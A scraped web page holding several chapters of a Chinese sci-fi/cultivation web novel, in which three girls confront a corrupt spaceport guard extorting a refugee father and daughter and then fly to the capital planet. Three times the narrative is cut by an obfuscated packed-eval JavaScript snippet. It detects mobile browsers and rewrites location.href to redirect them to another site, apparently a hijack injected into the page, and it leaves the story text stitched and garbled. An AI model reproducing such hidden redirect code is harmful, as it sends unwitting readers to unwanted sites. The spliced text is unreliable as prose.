颂千纱对齐焦耸了耸肩,表示她也不知道,抬脚跟上时循。 齐焦邪魅一笑,张开双臂。 颂千纱被揽住脖颈,齐焦另一只胳膊正好搭在时循头顶。 “……” 颂千纱的身体还没来得及僵住就看到了这一幕。 时循额头的青筋跳了跳,她深吸了一口气,极力忍耐即将扭曲的表情。 几乎不需要天赋为她预警,她就已经在空气中嗅到了危险。 “哇!正好能搭手!” 齐焦满脸享受,惊叹了一声,随后整个人的重量压了上去。 颂千纱捂住脸。 她害怕接下来的这一幕太血腥。 她贱嗖嗖地调侃。 “你和拐杖——” “砰——” 话音未落。 下一秒,时循木着脸,向上一记勾拳亲吻脸颊,把齐焦打飞了好几米。 还在空中翻了几圈。 时循用手掸了掸灰,面无表情,转身就走。 颂千纱踮脚看了看齐焦的伤势,毅然坚定地迈步跟着时循走去。 过了几分钟后。 齐焦捂着脸跟上队伍。 颂千纱对着齐焦竖起大拇指,她满脸真诚地感叹。 “真厉害,被打成这样还能直立行走。” “……” 齐焦瞪了颂千纱一眼,颂千纱笑意盈盈,向她眨眨眼睛。 三人在转角再次遇见那对父女。 他们站在路边的一个角落里,大风吹跑了女孩的帽子,但二人来不及捡,一眨眼就吹跑了。 “在坚持一下,等我们去了首都星,爸爸带你吃最贵的面,看永远不会黑的街,带你去最好的军校报名!” 中年男人身披黑袍,身着褴褛,佝偻着背对他牵着的小女孩说道。 他的声音很轻又很飘,嘴角控制不住地上扬,语气绷得很紧,忍不住越说越快。 “可是爸爸,太冷了。” 女孩光着脚,牙齿打颤,嘴唇发白,缩着脖子抬眼看向男人,穿的衣服极不合身,厚重又脏污。 “爸爸抱着你走,我们得快一点,趁天还没亮早点离开这颗星球。” 他用衣服紧紧裹住女孩,四处张望了一会儿,贴着路边往一个地方跑去。 “去了别的星球,欣欣是不是能买暖暖的衣服,喝甜甜的水了?我听苏锡说,繁华的星球上有好多甜水,喝了就不会饿了。” 男人擦了擦女儿干瘦的小脸,对着女儿扬起笑脸,声音哽咽。 “对,以后我们都不会挨饿受冻了。” 三人闻声沉默。 前面的父女看到了基站的顶,心中燃起希望,走的快了许多。 那男人虽然累的气喘吁吁,但每到一个路口就会十分谨慎地查看周围是否有人,如同警觉的老鼠。 她们一路不远不近地跟在后面。 说是跟着,不如说同路。 半小时后,她们来到基站——187星唯一的空间站。 基站看起来有年头了。 这里的臭气更甚,一胖一瘦两个门卫正在打盹,胖的把两个凳子当床躺着,瘦的站着。 不远处有三架铁做的、灰白色、带补丁的、像鸟形状的东西。 三人站定在远处,准备等父女俩通过了再走。 她看着父女二人刷了卡,从兜里拿出来一袋子皱巴巴、数额不大的银票,一张张地塞进机器里,换了一张纸后,又满脸赔笑的掏出剩余所有的银票塞给门卫,和他们说了些什么。 胖门卫嗤笑了一声,把银票放入口袋,手再次伸来。 瘦门卫抱着铁棍站在一旁冷冷地看着胖门卫做这一切,眼里滑过一丝厌恶。 那中年男人显然没有料到这样的情况,他的身体僵在原地好一会儿,满脸通红。半晌,他颤抖着手,摸遍全身的口袋。 他的手抖的越来越厉害,停在两侧空荡荡的口袋布里不断摸索。 胖守卫见此冷笑了一声,脸上的嫌恶快要溢了出来,横肉因过大的表情弧度而抖动。 他的手轻飘飘地摆了摆,像是宣判了父女俩的命运,转身做回了椅子上。 中年男人的脸色几乎顷刻变得苍白,他先是跪下,随后摁着女儿跪下,双手合十不断祈求着胖守卫。 女孩看起来更加虚弱了,她的泪珠如断了线的珍珠一般,大颗大颗地往下掉,她看了看匍匐在地的父亲,缓缓地趴了下来,与他一起磕头。 颂千纱眉头越蹙越深,她觉得很不舒服,这样的场景让她感到沉重,但更多的是迷茫。 她不知道自己能做什么。 正想着,身边二人几乎同时抬脚往前走。 颂千纱愣了愣,看着时循与齐焦的背影,原本紧握的手掌蓦然松开。 她嘴角微勾,心理蓦然松了口气,抬腿跟上二人。 胖守卫不为所动。 瘦守卫他低着头,看不清神情,只是身形晃了晃。 父女二人还在不断磕头,他们的头上逐渐磕出血丝。 瘦守卫突然走向安全门。 胖守卫瞥向他,呵斥了一声什么,瘦守卫忽然僵住,原本坚定抬起的手臂忽然变得沉重。 二人争执了几句,瘦守卫满脸通红。 半晌,他低下头。 与头一起垂下的,还有手臂。 三人走近时,父女俩的额头已经血肉模糊。 颂千纱看着他们此起彼伏地磕着,手搭在锁骨前摩挲着伴生纹。 不知怎么,她在中年男人的两股之间看见一丝细碎的金光。 齐焦第一个开口,打断了局势。 “你好,克林迪斯军校生齐焦,携家属回首都星。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993596|193849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两名守卫听完后立马整肃衣冠行军礼。 胖守卫慢一拍,他行礼时帽子还是歪的。 二人眼里满是诧异。 克林迪斯军校在校生的军衔原就比正常入伍要高,毕业即是中尉,虽然每年招收一两名贫困生,但基本去这学校的都是非富即贵,总之,没什么穷人。 有钱人家里的孩子和亲人来187星做什么? “请您出示身份证。” 瘦守卫先反应过来,他敛眸收回视线,弓着腰身做出请的姿势。 胖守卫也弓着腰,他弯腰的弧度比瘦守卫低很多,几乎成了直角,看向齐焦的眼神带着谄媚。 “扫脸。” 齐焦回答的简短。 “诶?诶!好嘞!” 胖守卫愣了两秒,后立马殷勤地上前调试好机器。 一阵光芒扫过,右边显示屏亮起。 身份信息上赫然屹立着几个大字。 克林迪斯军校二年级优等生、星际联盟少尉——齐焦。 只有参加过虫族斗争的军校生才有可能被提前封为少尉。 瘦守卫的眼神忽然颤动,半晌,语气干涩,面露尊敬的单膝跪地行李。 “请进,克林迪斯齐焦少尉。” “请进!请进!” 胖守卫连忙跟着跪地行礼,他狠狠剜了瘦守卫一眼,眼神里闪过惊怒。 颂千纱抱臂,蹙眉观察着胖守卫的反应。 他与面对父女时判若两人。 这是因为什么? 三人都站在原地没有回应,胖守卫等了许久,等到脖子都有些酸了。 他微微抬头,看向齐焦。 “他们怎么回事?” 齐焦用下巴点了点在一旁满脸血的父女。 “他,他们是此地的土著,也想要去首都星。” “但是他们钱没带够,买不了票。” 胖守卫凶恶地用眼神警告了父女二人一番,随后笑意盈盈地对着齐焦解释。 中年男人的脸色灰白,抱着女儿颓废地瘫坐在地上。 女孩的眼泪还在不断落下,她抢过父亲手里的船票举过头顶,焦急地看向齐焦。 “我!我们有船票!我们刚刚就买了!” 她的声音颤抖,不断哽咽着。 “是他要我们交保护费!说给的保护费不够!不让上!” 女孩似乎是怕自己的普通话不够标准,再加上哽咽,会让齐焦听不清自己说话。 她不断调整呼吸,可情绪不断从中作梗,最后,她闭着眼睛,拼尽全力,孤注一掷地大声哭喊。 “但那是我们家四代所有的积蓄了!” 周围安静了好一会儿,胖守卫僵在原地。 颂千纱看到瘦守卫的眼里蓄满晶莹。 齐焦轻笑,瞥向胖守卫。 胖守卫眼神中的凶狠几乎掩藏不住,半晌,他赔笑看向齐焦。 “见笑了少尉,这是时家的规矩。” 他姿态很低,但看起来并不慌乱。 “时家什么时候定的收保护费的规矩,我怎么不知道?” 时循看向胖守卫,眼神很冷。 胖守卫瞥向时循,眼神轻蔑,可动作却依旧谄媚。 “您贵人事儿忙!这点小事怎么好劳您一听呢?” 时循瞥向胖守卫胸前的名字。 “时嵩屿,时家旁系。” 9. 第 9 章 时循的身形很单薄,四肢松散着,两手随意交叠。 “你父母真是不顾一切。” “哪怕冒着被主家知道了也要被放逐的风险,也给你昧了个不错的官职。” 接着,时循上下打量了胖守卫一会儿。 “可惜,我会告诉主家。” “你的父母将因为你被时家放逐。” “而你,在放逐期间二次犯罪,将被处决。” 时循淡淡地宣判了时嵩屿的死刑。 她依旧没什么表情,但颂千纱却觉得她不一样了。 此刻颂千纱并不明白,这股子怪异的不一样到底是什么。 胖守卫表情瞬间阴沉,看向时循。 “你是谁?” 齐焦嗤笑一声。 “你认不出?她是新任时家家主的亲妹妹。” 时循直勾勾地盯了齐焦片刻,后缓慢转向时嵩屿。 胖守卫怔了一瞬,随后不再掩饰眼底的轻蔑与恶意。 “你也一无所有,有什么好高高在上审判我的?” “您的未婚夫都已经和您的亲姐姐结婚了。” 时嵩屿的眼珠微微一转,像是想起了什么,他看向时循的眼神更加玩味。 “而且,你不是早就被种下虫卵,被你亲姐姐暗自放逐了吗?” “你回得去吗?一会儿要是亮起红灯多难看啊!” 他勾着嘴角,夸张地后退了几步,像是有意地引导着什么。 颂千纱与齐焦同时看向时循,二人的脑子都有一瞬间空白。 时嵩屿话毕,在一旁的父女面露惊恐,中年男人立马把女儿挡在身后,二人簇拥的很紧。 “虫卵!” “天哪!居然被寄生了虫卵!” 他们立马手脚并用拼命往后爬,似乎靠近她就会立马与她一样被虫族寄生,变成怪物。 父女俩他们退到避无可避,分明十分害怕,却不愿离开,在角落恐惧地看着时循。 他们舍不得劳碌几代积蓄。 害怕虫卵,但更害怕失去唯一的机会。 颂千纱看的哑口。 父女二人的眼神与那时时循身后的群众如出一辙。 她如鲠在喉,像是有什么东西卡在喉咙,咽不下去也吐不出来。 时循淡淡地瞥了一眼父女俩,视线便转回时嵩屿。 她依旧面无表情地站在那里,腰挺得笔直,如一棵屹立在山峰的松。 颂千纱敛眸,半晌,她坚定地往时循身边挪了两步,挤着她站。 挤得时循侧目撇了她一眼,嘴角微微上扬,几不可闻地摇了摇头。 时嵩屿没注意这一切。 他看着退避三舍的父女,笑得眼泪都要出来了。 颂千纱歪着头观察时嵩屿的反应,轻点下巴。 这笑中明显带着几分痛苦与怨恨,甚至是不甘。 “你看,就这样的底层难民!哪怕你付出一切保护她们,也不会有任何一点好报!” “甚至还会被她们唾弃!” 得到了自己想要的反应,他看着时循,表情嘲讽,眼神里透露着得意。 “就算这样,二小姐还想要护着她们吗?” 时嵩屿擦了擦眼角笑出来的泪水,向时循鞠躬,头却高高扬着,眼神没有丝毫尊敬。 他满脸笑意,满脸恶意,像是故意要恶心时循,又像是向她真诚地抛出橄榄枝。 “不如保护我吧?二小姐,至少我还乐意付出一些钱财与尊严来获得这些。” 接着,颂千纱听见齐焦轻笑了一声,她转过头去。 齐焦的重心从左脚换到右脚,低着头,笑容依旧在脸上,可眼底没什么笑意。 时循依旧淡淡的,可眉宇间露出明显的不耐。 “我的事轮不到你置喙。” 她曲起手指,指节一下又一下不断轻敲着手臂,像是在给她的耐心倒数。 “让他们进去。” 时嵩屿充满胸腔的恶意与怨毒如同打到了一团棉花上,他的所有情绪,都无法引起时循的一丝波动。 他的眉头越蹙越深,胸口微微起伏。 他不明白时循为什么不在乎。 父女两个贴着墙靠近安全门,瘦守卫站起身让行。 “敢进去我就射杀你们!” 时嵩屿猛地转头怒喝父女俩,吼的二人一抖,直立在原地无助地站着,不敢动一下。 他神情激动看向时循,满脸通红,像是有满腔的怒火与怨恨憋在体内,即将爆炸。 时嵩屿的胸膛不断起伏,他闭着眼想要调整呼吸,让自己平静一些,可调整了好几次还是失败了。 他更加愤怒,对着时循怒吼。 “难民!不可以进入首都星!” “他们自私、阴险、毫无底线!” 他着重强调着难民二字,颤抖着手指指着父女俩,满脸的青筋爆起。 整个人因为情绪激动而不断的颤动,动作迫切。 “他们把自己的弱当作武器,安然享受一切待遇!” “恶心!恶心至极!” 因情绪高涨,他喉咙间发出嗬嗬的响声,横肉不断涌动。此刻,他看起来更像一个被虫族占据身体的怪物。 “但一旦有什么与他们的想法相悖,他们就立刻背叛,并群起而攻之!” “这种动物!暴民!就理应被放弃!没有理由进入首都星!” 时循看着他,静静等待他说完。 “如果牺牲换不来好报!那不如加入那群恶人!就像你姐姐那样!欺善怕恶才活得更好!” 他用尽全力嘶吼着,像是要使出浑身的力气把自己的愤怒宣泄出来。 又像是求救,期待时循给他一个出口。 但又像是,想要说服时循。 他的情绪很复杂,复杂到颂千纱看不清他的意图。 时循凝视了他很久,久到所有人都以为时循被说服。 “太阳总有落山的时刻,可它总会升起。” “不管你在哪个星球,不管太阳是否热烈。” “你能看见的每一处光辉,都有它的照射。” 话毕,时循抬步走向安全门进行验证,似乎刚才的耐心依旧告罄。 瘦守卫低着的头蓦然抬了起来,他像是被触动了什么,努力抑制着自己激动的神情,眼神发亮的看着时循。 时循的身份信息弹出,随后,绿灯亮起。 她最后回头瞥了一眼时嵩屿。 “首都星有首都星的秩序,轮不到你来筛选。” “时嵩屿,我再说最后一次,放他们进去。” 时嵩屿钉在原地。 他垂着头,颂千纱看不清他的神情,那张圆润的脸上似乎有晶莹闪过。 刚刚停歇的风在此刻汹涌不止地吹着,吹在时嵩屿的脸上,吹过颂千纱与齐焦,也吹向在墙角僵住的父女。 汹涌 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“出示身份证。” 未完全登记的用户需要出示身份证才能通过。 颂千纱看向瘦守卫,脸上带着懵懂。 “身份证?” 时循并不意外。 她转头看向瘦守卫,表情淡淡的,但气势却不弱。 “给她登记。” “是。” 瘦守卫向时循鞠躬,后从口袋中拿出公用光脑,一脸肃然地开口。 “把帽子撩开,看这里。” 颂千纱闻声乖乖转头。 他收起光脑,在空中点了几下。 “已经登记了,她现在不是黑户了。” “但是之后还是要去首都星线下登记。” 他抬头与时循二人交待,神情庄严不失尊敬。 时循微微点头示意。 齐焦垂眸,眼神微微转动,她向瘦守卫行了个军礼。 “谢谢您的通融,请问您叫什么?” 她扬着笑意看向瘦守卫。 齐焦知道,登记并不是守卫该做的。 瘦守卫立正回礼,看向齐焦的眼神分外尊敬。 “克斯尔星土著,胡斯蒂克。” 说完后他放下手,贴紧裤子的手忍不住冒汗,他依旧站的笔直,掩饰激动。 齐焦愣了楞,她去过那里援助。 克斯尔星是二十年前虫族占领的星球,自称土著的,几乎都是幸存者。 她身上懒散的气质骤然消失,转脸正着身子看向胡斯蒂克,眼神带着郑重。 “谢谢您,我记住了。” 她跨过门槛,顿了顿,转头对胡斯蒂克正色道。 “虫族必死,克斯尔星一定会回归。” 胡斯蒂克单膝下跪。 “我坚信,少尉。” 颂千纱看着二人郑重的表情,在齐焦身后学着她做了个军礼。 她逆着光,眼含笑意,姿势略显生疏,红宝石般的眼睛对着胡斯蒂克偷偷眨了眨眼。 胡斯蒂克与她对视,脸瞬间红到了脖子。 他如同被烫到了一般错开目光,不敢再看。 颂千纱走了过去,在时循身边站定。 10. 第 10 章 她开口歪着头看向时循,小声询问。 “黑户是什么?” 时循转头带路,听到颂千纱的问话后挑了挑眉。 “黑户就是……” 她忽然停住笑了笑,望向天空,半晌才开口。 “就是游走在这个世界与秩序之外的人。” 地上有一格格横斜粗壮的线条,他们排列整齐有序,似乎代表或指引着某种规律。 颂千纱听得似懂非懂,她不断咀嚼着时循这句话。 半晌,她抬头问时循。 “我听不明白,这是好还是不好?” 时循的目光向远处眺去。 因为基站的环境并不肮脏,周围的一切被人维护得很好,只是有些陈旧。 “没有好坏。” 她似乎陷入沉思,过了很久才开口,和颂千纱解释。 “黑户很不方便,无法离开这个星球。” “无法享受这个秩序的任何受益,当然相应的,就也不会受到这个秩序的惩罚。” “听起来确实好坏参半,这种人多吗?” “很少,联盟也不允许这种情况存在。” “为什么?” 齐焦接话,向颂千纱解释。 她看向颂千纱的眼神带着新奇。 “因为不利于统治。” “统治?” 颂千纱歪着脑袋咀嚼着这词,她对这词陌生又熟悉。 胤允统治着灵虚清境,他是那片秘境的最强者,他享受着最优越的灵泉与资源,但同时意味着他需要守护这片土地。 她一边走一边看向周围的景色,太阳逐渐升了起来,天光乍破,阳光逐渐撒了进来。 周围的环境并不嘈杂,除了风声,几乎没有什么噪音,与187星的白天大相径庭。 像是两个世界。 颂千纱恍惚了一瞬。 她突然明白,刚刚时循身上那股子怪异的不一样是什么了。 是权力。 她转头时循,女孩身形消瘦,分明年纪不大,身上散发的气质却内敛沉稳。 有种明显与年龄不符的成熟。 三人逐渐走近那只铜墙铁壁做的“鸟”。 颂千纱围着这只鸟走来走去,食指指着“鸟”看向二人。 “这个叫什么?” “星际航行舰。” 齐焦回答,她蹙着眉,眼神带着探究望向颂千纱。 半晌,她轻轻吐气,这口气有数十秒,像是说服了自己不开口询问。 迈开脚步与颂千纱并肩,再次开口。 “这种属于公共交通。” 她添了一句。 “就是所有公民都能乘坐的交通工具。” 颂千纱眉头微蹙。 其实近看更像鸟儿在天空翱翔的样子,可它没有喙,只造出了最有利于飞行的躯干。 它能飞起来,能载人,却没有依仗任何灵气,不是她们那个时代的产物。 新的代步工具,新的秩序,新的修炼方式。 一切都如此陌生,这到底是哪? 颂千纱眼眸微微垂下,遮住自己此刻的疑惑。 时循在星际航行舰门口站着等二人,凝视着这艘破旧的公共交通。 半晌,也开口道。 “它能带着我们从这里飞去首都星,不过大多时候它都用来装载垃圾运到这里。” 颂千纱忍不住蹙眉。 “既然是公共交通,为何运送垃圾?” “因为187星在二十年前就完全成为‘贵族垃圾站’了。” 颂千纱眉头蹙得更深。 “贵族垃圾站?他们不会来这里吗?” “当然不会。” 时循话音刚落,齐焦接着她的话向颂千纱解释,她的眼神很复杂。 “如果可以,没人愿意呆在这里。” “而且贵族一般都会买专属于自己的飞行器,从不乘坐公共交通。” “那这里的人呢?” “你是说这里的人?” 时循看向齐焦。 齐焦停顿了很久,久到颂千纱以为她不会再回答了。 颂千纱突然听见身后轻轻吸了口气,又缓缓吐出。 她转头看向齐焦。 “没人关心贫民的死活。” 齐焦轻声回答颂千纱。 “上去吧。” 她觉得齐焦此刻的眼神很复杂,可她却读不透。 里面又太多未知的,细小的情绪缠绕在了一起,汇聚成了她此刻的漠然。 她站在原地发呆,半晌,发现时循站在舱门里等她。 颂千纱摸了摸锁骨处莫名发烫的伴生纹,向“鸟”的体内走去。 不知为什么,她总觉得胤允在附近。 也许是因为快到首都星了。 很快,绿灯亮起。 颂千纱进入星际航行舰。 整个氧气舱只有寥寥几个座位,舱内还有不少凸起的铁疙瘩。 显然是为了更方便运输,这些运送的工人把座椅锯掉了。 时循坐在最前排三人坐的中间,齐焦懒散地挨着时循右边坐下,靠着走廊,眼神直勾勾地盯着时循。 时循倒是镇定自若,闭目在座位上等待车子启动,对齐焦的眼神视若无物。 颂千纱走到时循左边靠窗的位置坐下,左边的位置坐着有些逼仄,她必须曲着腿才能做进去。 她坐好后奇怪地看向齐焦。 “你这是怎么了。” 齐焦张口,刚打算说点什么。 舱门外那对父女佝偻着身躯走了进来。 她瞥了眼舱门,收敛目光,坐姿回正。 “下车说。” 二人刚走进来,身形还未站稳,舱门便立马关闭。 中年男人被狠狠绊了一跤。 时循与齐焦皆未回头,二人听起来都毫不意外。 颂千纱看见有什么金灿灿的东西从裤腿里甩了出来。 她眼睛微微一眯,中年男人见颂千纱看见,脸色瞬间苍白。 慌忙捡起走到角落,躲避颂千纱探究的眼神。 她见状敛眸,收回视线。 一阵轰鸣响起。 “鸟”如活了一般,冲向天空,往白云驶去。 航行舰的速度很快,颂千纱先是感到脚下震荡,接着,在它刚刚驶入天空时,脚下震荡骤然消失,脚步一瞬间变得更加沉重,然后一股无形的、无法抗拒的力量把她按进座位内。 在接下来她整个人几乎都趴在窗上。 187星开始变小,逐渐从一个辽阔巨大、漫无边际的垃圾城,缩小成为一个暗淡渺小的星球。 颂千纱在万年里,见过无数个春夏秋冬,春天的每一种新芽,秋天的每一种枯桠,哪片地被大海吞噬,哪片地漂泊了起来,成为岛屿。 可这样的景色,她从未见过。 颂千纱感到无比新奇。 她愣了一瞬,这才明白过来,为什么二人不约而同的给她留了一个靠窗的位置。 笑容不自觉地爬上嘴角,红色的眼睛晕出温度,她转头看向二人,言笑晏晏。 “好神奇,冲出云霄的之前,吾从未想过这方天地会这么小。” 时循用右手撑着脑袋,转头与颂千纱一同看去。 “宇宙浩瀚,所有事物在这之间都显得很小。” “它看起来比其他的星球暗淡很多。” “我也看看!” 齐焦原本在一旁打盹,闻声直接从座位上站了起来,也凑个脑袋与颂千纱一同在窗前查看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993598|193849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她站起来的动静没有收敛,在船舱最角落坐着打盹的父女被吓得又一抖,胆颤心惊地观察了半晌,见她们三人连个眼神都没给,终于放下心来,往角落再次缩了缩。 两个毛茸茸的脑袋凑在窗前。 “你看见在哪了吗?我没看见187星。” 颂千纱用手指了指187星。 “那里!非常小了,与另一个暗淡的星星很像,但另一颗星星大很多。” “哦!我看到了!不过另一个暗淡的星星好像是克斯尔星。” 时循原本坐在座位上看着二人,听见克斯尔星也凑了过去。 三个毛茸茸的脑袋凑在窗前。 颂千纱觉得耳熟。 “克斯尔星?” 她沉思了两秒,恍然大悟。 “就是那个瘦瘦的守卫的故乡!” “对。” “你当时为什么说这颗星球会回归?” 齐焦顿了顿,她有些诧异颂千纱居然记住了她当时说的话,失笑了一下。 她平静地向颂千纱阐述。 “因为克斯尔星在二十年前突然出现一场变故。” “虫族突然进犯,那里的原住民几乎在一夜之间被吃了八成。” “信号被干扰,联盟军来晚了很多,接着,就是长达十九年的战役。” “我在最后一年战役,与学校一起参与过一次收尾,横尸遍野,鲜血染红了土地。” 空气忽然陷入沉默,颂千纱眨了眨眼,开口问道。 “然后呢?赢了吗?” 时循淡淡地注视着那颗星球,回答颂千纱。 “人族败了。” 颂千纱的目光逐渐从那颗大而暗淡的星球转到齐焦和时循身上。 二人的反应各异,看起来都不轻松。 齐焦嘴唇轻抿,下巴紧绷,眼神像是透过那颗暗淡的星球又看见了什么。 她抬头再看向时循。 时循一如既往的面无表情,她看着克斯尔星,眼中有什么愈发坚定。 另一端,首都星。 忒修斯星军区医院内,正值深夜重症治疗舱内昏迷的男人心跳忽然剧烈地波动,隐隐又有要醒的迹象。 心跳越来越剧烈,警报声吵醒了在夜班小憩的实习医生。 “少将!您醒了吗?少将!” 实习医生慌忙擦了擦惺忪的睡眼,立马戴起眼镜打开光脑,上报给星蓝。 可消息刚刚发出,心跳又渐渐平缓,似乎再度进入昏迷,没有要再醒的意思。 实习医生观察了半晌,他打了个哈欠,决定再打一会盹儿。 可刚刚趴下,刺耳的警报声就再次响起,还伴着红光闪烁。 实习医生慌忙大喊。 “快!颂少将的精神力再次暴动!” 值班的医生立马开门闯了进来,眉头紧蹙,在操作台上按下按钮。 “立马上昏迷药剂!不然他会把自己攻击的残废!” 实习医生张了张口,似乎很犹豫。 半晌,他还是开口了,声音很小。 “可他看起来好像要醒了。” 值班医生撇了他一眼,手上的操作一刻未停。 “我们可没法承担损失一名将军的责任,等星蓝来处理吧。” “好,好的。” 实习医生望了一眼治疗仓。 里面健硕的男人紧眉深锁,似是在全力抵御昏睡剂的药性。 值班医生紧蹙眉头看着屏幕,沉凝半晌,逐渐把按钮拉到最高。 不久后,警报声消失。 值班医生松了口气,用手腕按了按太阳穴,转身往外走。 “就这个计量一直吊着,千万别往下调,直到星蓝来吧。” “好的,苏锡医生。” 11. 第 11 章 “很暧昧吗?” 颂千纱望着窗外,浩瀚的宇宙不断地在她的视线中一一飘过,可她什么也没看进去。 锁骨间的伴生纹愈发灼热,她用手摸甚至有些烫,像是要向她传递着什么信号,可半晌,这股灼热又逐渐消失,颂千纱的眉头深锁。 怎么回事? 突然,不远处的呕吐声打断了颂千纱的思考。 颂千纱与齐焦闻声望去,在船舱角落父女不约而同地呕吐了起来。 半晌,一股刺鼻的气味从后面蔓延到前排。 “他们怎么了?” 齐焦瞥了一眼便收回目光。 “船舱的后排很颠簸,估计被颠得受不了了。” 时循微微侧目,后径直走回座位。 齐焦也站了起来,见父女二人惊恐地藏起来后脚步一转,也坐回了座位。 颂千纱抬了抬眉毛,歪头望了父女半晌。 “前排还有座位,为什么不来前排坐着。” 颂千纱话音刚落齐焦便笑了出来,她挑了挑眉望向时循,眼神揶揄。 “因为时二小姐呗,她可是被虫族寄生了啊。” 父女二人似乎听见了,被呕吐打断的恐惧又再次回归,中年男人惨白着脸把呕吐的欲望强行咽下,抱紧女儿护住怀里,自己背对着时循。 随后似乎还嫌不够,又往角落缩了缩,二人几乎贴着离时循最远的墙角缩成一团。 颂千纱蹙着眉收回视线,也坐回了座位。 时循双手撑在座位上正襟危坐,微微瞥了齐焦一眼,没有接话的意思。 颂千纱有些气恼的抱着臂,似乎憋了很久,还是没憋住。 她撅着嘴,语气带着些不忿。 “时循没有被寄生。” 齐焦挑了挑眉,眼神移到颂千纱身上几秒,很快又转回落在时循身上。 “你为什么这么笃定?” 颂千纱下意识张了张口,抿唇沉默半晌才开口。 “我就是知道。” 齐焦没有回话,依旧直勾勾地看着时循。 时循侧头观察颂千纱的反应,嘴角微微上扬,眼里带着温和的笑意。 沉凝半晌,她转头与齐焦对视。 “这么想知道?” “当然。” 齐焦的表情与平日没什么不同,还是吊儿郎当的,可眼里如猛虎般凶狠的眼神毫不掩饰地望向时循。 “不止这个,我还想知道一些别的。” 时循的目光依旧淡淡的,她嘴角勾得更深,对着齐焦微微挑眉。 “下船后,打赢我。” 颂千纱诧异地看向时循。 齐焦笑意更深,表情彻底不在掩饰,她笑得放肆,看向时循的眼神带着狂热的战意。 “我很期待你的答案。” 之后,车厢内一路无话。 星际航行舰逐渐驶入一个满是光亮的星球,航行舰上的一行人几乎都闭上了眼,打着盹等待车开入站点。 周围除了航行发出的轰鸣和船板震荡发出的杂音外一片寂静。 颂千纱依旧望着窗外,景色不断变换着。 她意识到,在这片寰宇之间,每一座星球都如187星一般,是一座城池。 伴生纹一会儿发烫,一会儿冰凉,每次发烫都会比上一次更加灼热。 颂千纱的手搭在锁骨间,心中莫名有些不安。 两小时后。 伴随着车门的开启,头顶传来温柔又公式的女声。 “欢迎来到忒修斯星!忒修斯星很高兴与您相遇!” 临近下车后伴生纹便没再有反应,颂千纱不明就里,摸了摸伴生纹,像是安抚胤允,又像是在安抚自己。 颂千纱暂时放下思绪。 她的注意力很快被新世界吸引。 她新奇地观察着车站。 车站虽是室内,可看起来分外开阔,到处都是白色的墙体,周边有台阶,还有一个长长的透明管道,里面看起来有好几根粗硕的钢筋连着。 颂千纱走在三人最前方,看完这边摸那边,应接不暇。 她抬头问二人。 “这里就是他们每次丢垃圾的地方吗?” “不是,这是公交车站,我们朝这走。” 时循出声招手,示意她回来,引她走向透明管道。 颂千纱好奇地跟上。 三人站定在玻璃管道面前,齐焦按下电梯,几秒后上面滑下来一个钢筋和琉璃组成的透明盒子。 时循与齐焦率先跨入,二人站定在门内,时循按着开门键等待颂千纱。 颂千纱迟疑了一会儿,也跨了进去。 门很快关上,时循按下另一个键。 身体瞬间沉重,盒子很快地往上升。 “这个叫什么?” “电梯。” 颂千纱敲了敲电梯门。 “它能带我们去哪?” 齐焦挑了挑眉,笑着回复道。 “带我们回到地面啊,这是地底。” 颂千纱张大嘴巴,瞪眼看向齐焦。 “我们刚刚在地底吗?!” “不是只有萝卜和老鼠才在地底吗?!” 在修仙界,人人都想要得道成仙,自然建筑也希望如空中之境一般,往高处建,越高越好。 有些门派甚至用阵法使整个门派高高悬在天空之上,与云雾同腾。 齐焦被她夸张的样子逗笑,忍不住上手捏她的脸。 “纱纱,你怎么这么可爱啊!” 颂千纱的脸被捏的嘟了起来,她缩了缩努力反抗。 可齐焦力大无穷,一边邪笑,一边把她的脑袋桎梏在自己的魔掌之间。 颂千纱挣扎未果,只能求救似的看向时循。 红宝石般的眼睛可怜巴巴的看着自己,时循也觉得可爱极了。 她用拳头挡着嘴,干咳了两声掩饰笑意,看齐焦蹂躏了半晌,才伸出手拍掉齐焦的魔爪。 电梯穿梭了半晌,脚下的的沉重在电梯停稳的一瞬间消失,三人回到地面。 视线瞬间又辽阔不少,一望无际的高楼冲进云霄,上面还有极大的屏幕播放着动画,天空与地面都有不断穿梭的船只与车辆。 这里很安静,除了车辆的轰鸣与动画播放的声音,几乎没有人互相交流。 街上零星有几个行人,行色匆匆,有几个人的手臂是机械做的。 颂千纱呆愣了很久。 这里分明有树有水,可树的长势被框定在一个小方块里,每一棵树的间距都是人为框定的,有几颗黄了叶子的树正在输液维持生命。 水是人造的池子,里面零星有几条并不活泼的鱼,灌木被修剪的很整齐,很漂亮,也是人类想要他们长成的形状。 这里很美,一种超越了她生活时代很多年的美。 可她对此不寒而栗。 “怎么了?” 齐焦见颂千纱钉在原地,顺着她的目光看向树木,与她一同端详。 “没什么特别的一棵树啊。” “走吧?” 不是的。 颂千纱依旧看着这棵树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 